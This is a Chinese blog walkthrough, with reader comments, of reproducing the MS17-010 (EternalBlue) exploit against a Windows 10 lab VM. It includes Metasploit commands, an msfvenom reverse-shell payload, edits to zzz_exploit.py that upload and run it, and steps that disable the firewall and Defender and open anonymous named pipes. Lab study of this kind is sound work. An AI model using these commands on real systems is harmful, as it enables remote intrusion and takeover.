避坑:Win10环境MS17-010漏洞复现过程

避坑:Win10环境MS17-010漏洞复现过程

AabyssZG
2023-03-10 / 11 评论 / 3,380 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2024年05月15日,已超过72天没有更新,若内容或图片失效,请留言反馈。

0# 概述

MS17-010这个漏洞想必大家都已经很熟悉了吧,这里就不过多赘述(如果不了解的自行百度)

最近,乌鸦安全公众号的 crow 师傅想要在Win10上复现MS17-010(永恒之蓝)的漏洞,为此也在群里面引发了群友的讨论,但是群友们多次尝试都是失败的,于是便找到我

我发现目前互联网上,都没有记录Win10如何完美复现MS17-010的相关文章(有些文章也只是粗略的一笔带过,没有相关错误的解决方法),于是这里就记录一下Win10环境的MS17-010复现过程中碰到的坑点和利用方式吧

MS17-010-title.jpg

1# 正常MSF遇到的问题

有师傅就说:这TM的Kali自带的MSF不能复现吗?我直接MSF一把梭。

好,那我们直接用MSF一把梭看看结果:

msfconsole       //启动MSF
search ms17-010  //搜索MSF相关模块
use 0            //使用exploit/windows/smb/ms17_010_eternalblue模块
show options     //查看模块选项
set RHOSTS <目标靶机IP>  //设置目标主机IP地址
set target 7     //切换Payload至Windows 10 Pro
exploit          //使用模块进行攻击

lf214acm.png

可以看到,MSF的exploit模块能检测到目标机器存在漏洞,但是没办法回弹Session(会话)回来,所以我就开展了一系列的相关研究

是有一些版本的Win10能通过MSF一把梭,但是遇到不能一把梭的问题怎么办?所以本篇文章的意义就在于此

后面研究了一下,是命名管道的相关原因,可以看看先知社区的这篇文章: https://xz.aliyun.com/t/2151

关于Windows命名管道的深入学习,可以看这两篇文章: 1、FreeBuf:windows安全初探之命名管道 2、浅析Windows命名管道Named Pipe

2# 准备工作

  • Win10 镜像(需要版本为1511和1607,其他版本有的也能复现,但是还是有问题)
  • Kali Linux
  • MS17-010(开源项目,但里面的代码需要改)

Windows10 x64 Version 1607(中文简体)下载

文件名:cn_windows_10_multiple_editions_version_1607_updated_jul_2016_x64_dvd_9056935.iso

SHA1:A2DDAA7BE3BB73FD87C29D6EF8E1EDF4C764DCD9

文件大小:4.05GB

发布时间:2016-08-02

下载地址(复制到迅雷等下载工具):
ed2k://|file|cn_windows_10_multiple_editions_version_1607_updated_jul_2016_x64_dvd_9056935.iso|4347183104|35EA5DB0F3BB714F5CE0740FB89D82D1|/

Kali Linux想必大家都有吧,没有请移步这里: https://www.kali.org/downloads/

3# 配置靶机

3.1 关闭防火墙

打开 控制面板->系统和安全->Windows防火墙 ,选择“启用或关闭 Windows 防火墙”

关闭Win防火墙.png

3.2 关闭Windows Defender

打开 Windows Defender->设置 ,关闭相关设置即可

关闭Defender.png

因为本次只是打靶机而已,就仅仅用MSF生成的exe来回弹session,感觉用不上免杀就把Windows Defender关掉

当然免杀过Windows Defender也很简单,这个如果师傅们感兴趣可以后面出一些免杀相关的文章

3.3 更改组策略-1

使用 Win+R 快捷键,输入 gpedit.msc 打开本地组策略编辑器

找到 计算机配置->Windows 设置->安全设置->本地策略->安全选项 这里

打开共享.png

找到 “网络访问:可匿名访问的共享” 并将其改成 \

3.4 更改组策略-2(可选)

感谢 takuya 师傅看到本篇文章后的整理复现,如果以上组策略配置好以后,check.pyzzz_exploit.py 回显以下结果,则是无法找到命名管道的原因:

# python2 checker.py <目标靶机IP>
Target OS: Windows 10 Pro 14393
The target is not patched

=== Testing named pipes ===
spoolss: STATUS_ACCESS_DENIED
samr: STATUS_ACCESS_DENIED
netlogon: STATUS_ACCESS_DENIED
lsarpc: STATUS_ACCESS_DENIED
browser: STATUS_ACCESS_DENIED

# python2 zzz_exploit.py <目标靶机IP>
Target OS: Windows 10 Pro 14393
Not found accessible named pipe
Done

这时候就需要在组策略里面多加一个配置:

设置可匿名访问命名管道.png

即可稳定在Win10靶机上复现本漏洞

4# 攻击靶机过程

为了方便理解,这里我把我的内网地址放一下:

  • Windows10 靶机地址:192.168.123.219
  • Kali Linux地址:192.168.123.147

4.1 使用Poc进行测试

开源项目MS17-010: https://github.com/worawit/MS17-010/

下载开源项目.png

这个开源项目是使用Python写的,并且要用Python2才能跑,首先要安装这两个模块:

pip2 install impacket==0.10.0
pip2 install netaddr

(这里pip2是我自己定义的别名,因为我电脑装了Python2和3两个版本,需要区分开)
正常直接使用pip安装即可

然后直接跑check.py,如下:

python2 checker.py <目标靶机IP>

如果回显 netlogon 状态为 OK ,则Poc测试成功漏洞可以利用

测试Poc.png

4.2 生成回弹session会话的exe

用MSF生成exe,这个想必大家都很熟悉吧:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Kali Linux的IP>  LPORT=4444 -f exe -o 3.exe

中间没有报错就行了(报错一般生成的exe不能用,要么重装MSF要么换一个Kali)

生成exe.png

4.3 使用Exp上线靶机回弹Session

4.3.1 修改Exp脚本

因为是Python,所以Poc和Exp在Kali和Win上面都能跑,所以我这里直接用Win演示

先把4.2用MSF生成的exe拷贝到Exp的同目录下:

拷贝exe.png

然后修改 zzz_exploit.py 文件(实测不修改会利用失败)

搜索 smb_pwn(conn, arch) ,然后找到975行这个函数,将以下几条都注释掉:

print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)

然后在下面添加两行代码:

smb_send_file(smbConn, '3.exe', 'C', '/system.exe') 
service_exec(conn, r'cmd /c c:\\system.exe') 

第一行是上传本地文件 3.exe 到目标靶机的 C:\\system.exe
第二行是执行命令 cmd /c c:\\system.exe ,即静默运行 system.exe

最终修改完毕的函数内容如下:

修改exp.png

4.3.2 Kali监听会话回弹端口

使用Kali开启MSF监听端口:

msfconsole       //启动MSF
use exploit/multi/handler  //使用监听模块
show options     //查看模块选项
set lhost <Kali Linux的IP>  //设置Kali Linux接收会话的IP地址
set lport 4444   //设置Kali Linux接收会话的端口
set payload windows/meterpreter/reverse_tcp     //切换Payload至reverse_tcp
exploit          //使用模块进行监听

kali开启监听.png

4.3.3 运行Exp,成功回弹Session

然后用Python2运行对应脚本即可:

python2 zzz_exploit.py <目标靶机IP> netlogon
python2 zzz_exploit.py <目标靶机IP>

两条都可以试试,一个不行换一个即可

运行Exp脚本.png

然后可以在靶机上看到exe上传并运行成功了

成功上传并执行.png

这个时候,看Kali Linux监听的情况:

回弹会话成功.png

可以看到,Session回弹成功并可以执行相关操作了

附录

MS17-010 各系统及对应的补丁

系统对应补丁
Windows VistaKB4012598
Windows XpKB4012598
Windows Server 2008KB4012598
Windows 7KB4012212、KB4012215
Windows Server 2008 R2KB4012212、KB4012215
Windows 8.1KB4012213、KB4012216
Windows Server 2012 、 Windows Server 2012 R2KB4012213、KB4012214、KB4012216、KB4012217
Windows RT 8.1KB4012216
Windows 10KB4012216、KB4013198
Windows Server 2016KB4013198

Windows卸载补丁命令:

wusa /uninstall /kb:<补丁ID>

查看Windows补丁状态:

systeminfo

5# 总结

  • MS17-010是非常古老的一个漏洞,同时也是非常经典的一个操作系统高危漏洞,对于它的深入研究和学习还是具有一定的技术价值的,在复现漏洞的过程中一路上还是会碰到这样那样的问题,但希望这篇文章能帮助一些需要帮助的师傅吧。
  • 也有师傅觉得太老瞧不上这个漏洞,所以我想问几个问题:为啥这么经典的操作系统漏洞,能从Win7时代一直延续到Win10甚至Win12呢?为啥很多实际企业的生产业务没办法真正根治这个漏洞呢?这也是我们学习漏洞所需要探讨和深入的问题,透过现象看本质,是我们网安人学习路上必不可少的一环。
  • 很多时候不要用自己的观念去看待问题,更多的应该用理性的眼光去看待问题。很多时候是我们自己的眼界限制了自己的技术,而不是我们的学习能力限制了自己的技术。
32

评论 (11)

取消
  1. 头像
    hanhan
    Windows 10 · Google Chrome

    请问曾师傅,为啥很多实际企业的生产业务没办法真正根治这个漏洞呢?

    回复
    1. 头像
      哇哈哈
      iPhone · Safari
      @ hanhan

      可能机器业务庞大有遗漏的老机器业务下线了但是服务器没下线找不到也很正常

      回复
  2. 头像
    takuya
    iPhone · Safari

    大佬,python2.7安装了pycryptodome,还是报错,报错信息:Traceback (most recent call last):
    File "zzz_exploit.py", line 2, in
    from impacket import smb, smbconnection
    File "/usr/local/lib/python2.7/dist-packages/impacket/smb.py", line 60, in
    from impacket.krb5.gssapi import KRB5_AP_REQ
    File "/usr/local/lib/python2.7/dist-packages/impacket/krb5/gssapi.py", line 23, in
    from Cryptodome.Hash import HMAC, MD5
    ImportError: No module named Cryptodome.Hash

    请问下是什么原因呢

    回复
    1. 头像
      AabyssZG 作者
      Windows 10 · Google Chrome
      @ takuya

      没有安装相应模块吧,试试pip安装以下三个包
      pip install pycrypto
      pip install impacket
      pip install netaddr
      还有一种可能是,你的pip安装的包,安装到Python3上面去了
      表情

      回复
      1. 头像
        takuya
        iPhone · Safari
        @ AabyssZG

        嗯 我再试试,我安装的时候用的是 pip2 install xxx,应该不会到 python3 去了的,您说的这三个包我也都安了,😮‍💨

        回复
      2. 头像
        takuya
        Windows 10 · Google Chrome
        @ AabyssZG

        大佬,我使用你安装的镜像,然后防火墙、defender关了,组策略修改了,但是为什么还是出现下列错误?

        root@kali:~/hacker/MS17-010-master# python2 checker.py 192.168.0.227
        Target OS: Windows 10 Pro 14393
        The target is not patched

        === Testing named pipes ===
        spoolss: STATUS_ACCESS_DENIED
        samr: STATUS_ACCESS_DENIED
        netlogon: STATUS_ACCESS_DENIED
        lsarpc: STATUS_ACCESS_DENIED
        browser: STATUS_ACCESS_DENIED

        root@kali:~/hacker/MS17-010-master# python2 zzz_exploit.py 192.168.0.227
        Target OS: Windows 10 Pro 14393
        Not found accessible named pipe
        Done

        回复
        1. 头像
          AabyssZG 作者
          Windows 10 · Google Chrome
          @ takuya

          看了一下细节,应该还是命名管道的原因

          Not found accessible named pipe => 主要原因是 zzz_exploit.py 以及 MSF中的 auxiliary/admin/smb/ms17_010_command 和 exploit/windows/smb/ms17_010_psexec 模块都是依赖于 Named Pipe 进行攻击的。而大于Win2003的机器,默认是关闭了所有的可匿名访问的命名管道,所以用这些工具打Win2003之后的系统会提示找不到Named Pipe

          可以检验一下你本地靶机的命名管道是否开放,并且工作正常

          回复
  3. 头像
    王思聪
    Windows 10 · FireFox

    那别人WIN10就默认开个防火墙 不设置组策略不就没事了...

    回复
    1. 头像
      AabyssZG 作者
      Windows 10 · Google Chrome
      @ 王思聪

      没毛病,本身就是尝试在Win10上复现这个漏洞罢了,只是做一个技术的深入研究和探讨
      关于实战,由于诸多限制,这个漏洞对Win10就挺鸡肋的表情

      回复
  4. 头像
    救命
    Windows 10 · Google Chrome

    这这这,大佬还在吗,咋回事啊,包都装了,用的2.7.18
    python checker.py 192.168.214.130
    Traceback (most recent call last):
    File "checker.py", line 40, in
    conn = MYSMB(target)
    File "D:\CTF\shentou\POC\MS17-010-master\mysmb.py", line 118, in __init__
    smb.SMB.__init__(self, remote_host, remote_host, timeout=timeout)
    File "E:\anaconda3\envs\py27\lib\site-packages\impacket\smb.py", line 2437, in __init__
    self.neg_session()
    File "D:\CTF\shentou\POC\MS17-010-master\mysmb.py", line 147, in neg_session
    smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
    File "E:\anaconda3\envs\py27\lib\site-packages\impacket\smb.py", line 2657, in neg_session
    smb = self.recvSMB()
    File "E:\anaconda3\envs\py27\lib\site-packages\impacket\smb.py", line 2521, in recvSMB
    r = self._sess.recv_packet(self.__timeout)
    File "E:\anaconda3\envs\py27\lib\site-packages\impacket\nmb.py", line 914, in recv_packet
    data = self.__read(timeout)
    File "E:\anaconda3\envs\py27\lib\site-packages\impacket\nmb.py", line 997, in __read
    data = self.read_function(4, timeout)
    File "E:\anaconda3\envs\py27\lib\site-packages\impacket\nmb.py", line 983, in non_polling_read
    raise NetBIOSError('Error occurs while reading from remote', ERRCLASS_OS, ex.errno)
    impacket.nmb.NetBIOSError: Error occurs while reading from remote(10054)

    回复
    1. 头像
      AabyssZG 作者
      Windows 10 · Google Chrome
      @ 救命

      确认一下和目标主机的连通性,这个impacket.nmb.NetBIOSError(10054)的报错应该是没能等待返回包的信息导致超时错误

      回复